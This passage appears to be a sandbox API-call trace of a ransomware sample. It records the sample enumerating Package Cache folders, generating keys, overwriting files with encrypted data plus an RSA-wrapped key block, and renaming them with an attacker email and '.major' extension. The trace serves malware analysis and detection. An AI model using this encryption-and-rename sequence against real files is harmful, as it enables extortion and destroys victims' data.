lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0152.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5adef0 [0152.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0152.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5adf88 | out: hHeap=0x570000) returned 1 [0152.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc990 | out: hHeap=0x570000) returned 1 [0152.759] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1593bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6317c0 [0152.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ef8 | out: hHeap=0x570000) returned 1 [0152.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b58 [0152.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0152.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x570000) returned 1 [0152.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d08b8 [0152.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0152.759] GetLastError () returned 0x0 [0152.759] SetLastError (dwErrCode=0x0) [0152.759] GetLastError () returned 0x0 [0152.760] SetLastError (dwErrCode=0x0) [0152.760] GetLastError () returned 0x0 [0152.760] SetLastError (dwErrCode=0x0) [0152.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0152.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc38 [0152.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6313c0 [0152.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6313c0 | out: hHeap=0x570000) returned 1 [0152.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0152.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0152.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc38 | out: hHeap=0x570000) returned 1 [0152.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0152.760] FindNextFileW (in: hFindFile=0x6317c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1593bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d08b8 | out: hHeap=0x570000) returned 1 [0152.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b10 [0152.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0152.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b10 | out: hHeap=0x570000) returned 1 [0152.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0152.760] GetLastError () returned 0x0 [0152.760] SetLastError (dwErrCode=0x0) [0152.760] GetLastError () returned 0x0 [0152.760] SetLastError (dwErrCode=0x0) [0152.760] GetLastError () returned 0x0 [0152.760] SetLastError (dwErrCode=0x0) [0152.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0152.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0152.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6314c0 [0152.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6314c0 | out: hHeap=0x570000) returned 1 [0152.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405b8 [0152.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405b8 | out: hHeap=0x570000) returned 1 [0152.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0152.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0152.761] FindNextFileW (in: hFindFile=0x6317c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1593bf8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1593bf8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1593bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0152.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c78d0 [0152.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0152.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c78d0 | out: hHeap=0x570000) returned 1 [0152.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d08b8 [0152.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0152.761] GetLastError () returned 0x0 [0152.761] SetLastError (dwErrCode=0x0) [0152.761] GetLastError () returned 0x0 [0152.761] SetLastError (dwErrCode=0x0) [0152.761] GetLastError () returned 0x0 [0152.761] SetLastError (dwErrCode=0x0) [0152.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0152.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0152.761] FindNextFileW (in: hFindFile=0x6317c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3714fdce, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x2ee, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0152.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d08b8 | out: hHeap=0x570000) returned 1 [0152.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7cc0 [0152.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0152.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cc0 | out: hHeap=0x570000) returned 1 [0152.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0152.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0152.762] GetLastError () returned 0x0 [0152.762] SetLastError (dwErrCode=0x0) [0152.762] GetLastError () returned 0x0 [0152.762] SetLastError (dwErrCode=0x0) [0152.762] GetLastError () returned 0x0 [0152.762] SetLastError (dwErrCode=0x0) [0152.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0152.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0152.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0152.762] FindNextFileW (in: hFindFile=0x6317c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd99f4dad, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0152.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0152.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7f48 [0152.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0152.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f48 | out: hHeap=0x570000) returned 1 [0152.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0152.762] GetLastError () returned 0x0 [0152.762] SetLastError (dwErrCode=0x0) [0152.762] GetLastError () returned 0x0 [0152.762] SetLastError (dwErrCode=0x0) [0152.762] GetLastError () returned 0x0 [0152.762] SetLastError (dwErrCode=0x0) [0152.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0152.762] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0152.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e398 [0152.762] FindNextFileW (in: hFindFile=0x6317c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd99f4dad, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0152.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0152.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0152.762] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0152.762] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe", dwFileAttributes=0x80) returned 1 [0152.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e5c0 [0152.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b85a8 [0152.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5c0 | out: hHeap=0x570000) returned 1 [0152.763] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x688 [0152.763] GetFileSizeEx (in: hFile=0x688, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=781872) returned 1 [0152.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbee30) returned 0x67f020 [0152.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbee30) returned 0x3147020 [0152.764] ReadFile (in: hFile=0x688, lpBuffer=0x67f020, nNumberOfBytesToRead=0xbee30, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x67f020*, lpNumberOfBytesRead=0x2e3f9b4*=0xbee30, lpOverlapped=0x0) returned 1 [0152.844] SetFilePointer (in: hFile=0x688, lDistanceToMove=-781872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0152.844] WriteFile (in: hFile=0x688, lpBuffer=0x3147020*, nNumberOfBytesToWrite=0xbee30, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xbee30, lpOverlapped=0x0) returned 1 [0152.846] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x67f020 | out: hHeap=0x570000) returned 1 [0152.847] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3147020 | out: hHeap=0x570000) returned 1 [0152.847] SetFilePointer (in: hFile=0x688, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xbee30 [0152.847] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.847] WriteFile (in: hFile=0x688, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.847] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0152.847] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0152.847] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0152.848] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0152.848] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="jutt4RPjFVmgwjcDJbDUF0o71c7HIJCKu0Nknm9Np5oeSYAc6vQ4bROJBAggaBel\nDIN9p+MvlRX7diFrEl/e+nUJUO8M6gfx5S64mDQFJXqR5r0JiSWSaP22nz0TUu6h\nE3/wbdlZE0nsjXqvMiCv0Jukglmsi71eUxS7yU73enEhXKaoSkmHXiqyHFmv5O0u\nzOhxdpc7nHwvqgQV0l4N6IRl/iSMdnCPQrb/FesxAQ+zGpvrl5HIDajfim7T/mR/\noMac02UgxW0Lh73T9/mh4QSF3JPuIZKU/mlyK/gBo7dRCCD3Nj4Zqiml0rCJmWI0\nFbA/KLl4TAT6gG8tMWlPuQ==\n", pcchString=0x2e3f9a8) returned 1 [0152.848] WriteFile (in: hFile=0x688, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0152.848] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.848] WriteFile (in: hFile=0x688, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.848] CloseHandle (hObject=0x688) returned 1 [0152.848] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0152.848] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), lpNewFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0152.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0152.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0152.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0152.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e398 | out: hHeap=0x570000) returned 1 [0152.850] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2e40f20 [0152.850] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc990 [0152.850] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0152.850] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm", dwFileAttributes=0x80) returned 1 [0152.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5a9008 [0152.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x652370 [0152.851] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a9008 | out: hHeap=0x570000) returned 1 [0152.851] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x688 [0152.851] GetFileSizeEx (in: hFile=0x688, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=750) returned 1 [0152.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2ee) returned 0x5a8108 [0152.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2ee) returned 0x5b5a90 [0152.851] ReadFile (in: hFile=0x688, lpBuffer=0x5a8108, nNumberOfBytesToRead=0x2ee, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesRead=0x2e3f9b4*=0x2ee, lpOverlapped=0x0) returned 1 [0152.952] SetFilePointer (in: hFile=0x688, lDistanceToMove=-750, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0152.952] WriteFile (in: hFile=0x688, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x2ee, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2ee, lpOverlapped=0x0) returned 1 [0152.952] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0152.952] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0152.952] SetFilePointer (in: hFile=0x688, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2ee [0152.952] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.952] WriteFile (in: hFile=0x688, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.953] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0152.953] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0152.953] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0152.953] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0152.953] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="YQzvPv7G3l3E7dlEXoDRqPSsQIpG3w1acWtHgAzEKZ7UuMf7KtMFy1OheCgwhYs1\n8HrzOhWLiCLtEHRsyX927iwEWbBDBn7YR8NGhPDgL9g+cvv06ZY5Hc1bOPWNb71c\nRhV3sNiJd5LBDYclFmYxTZxKBY2KImnT/EsfdQO9f/tCUtpJ0QFdihbVRlZg0G6y\n4F3DvSvNmB+sHt9NjUJjNGQYs+PAOi5FVCeWphZIcMWLF8zUDjdaTCD50cX315Lz\nWs2zX2VBzMjIJ3ztDGsoaLP3XsI7xzpNGQqJCpwFMZPUKa9JHvS5zxY1rIJV6TKt\ntN2sGpDjLexjnzi2ITWkqw==\n", pcchString=0x2e3f9a8) returned 1 [0152.953] WriteFile (in: hFile=0x688, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0152.953] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.953] WriteFile (in: hFile=0x688, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.953] CloseHandle (hObject=0x688) returned 1 [0152.953] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0152.953] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), lpNewFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0152.955] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652370 | out: hHeap=0x570000) returned 1 [0152.955] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc990 | out: hHeap=0x570000) returned 1 [0152.955] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0152.955] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0152.955] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e398 [0152.955] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5adef0 | out: hHeap=0x570000) returned 1 [0152.955] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e228 | out: hHeap=0x570000) returned 1 [0152.955] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0152.955] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1593bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631780 [0152.956] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.956] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7de0 [0152.956] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0152.956] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7de0 | out: hHeap=0x570000) returned 1 [0152.956] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.956] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0152.956] GetLastError () returned 0x0 [0152.956] SetLastError (dwErrCode=0x0) [0152.956] GetLastError () returned 0x0 [0152.956] SetLastError (dwErrCode=0x0) [0152.956] GetLastError () returned 0x0 [0152.956] SetLastError (dwErrCode=0x0) [0152.956] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4128 [0152.956] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.956] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.956] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0152.956] 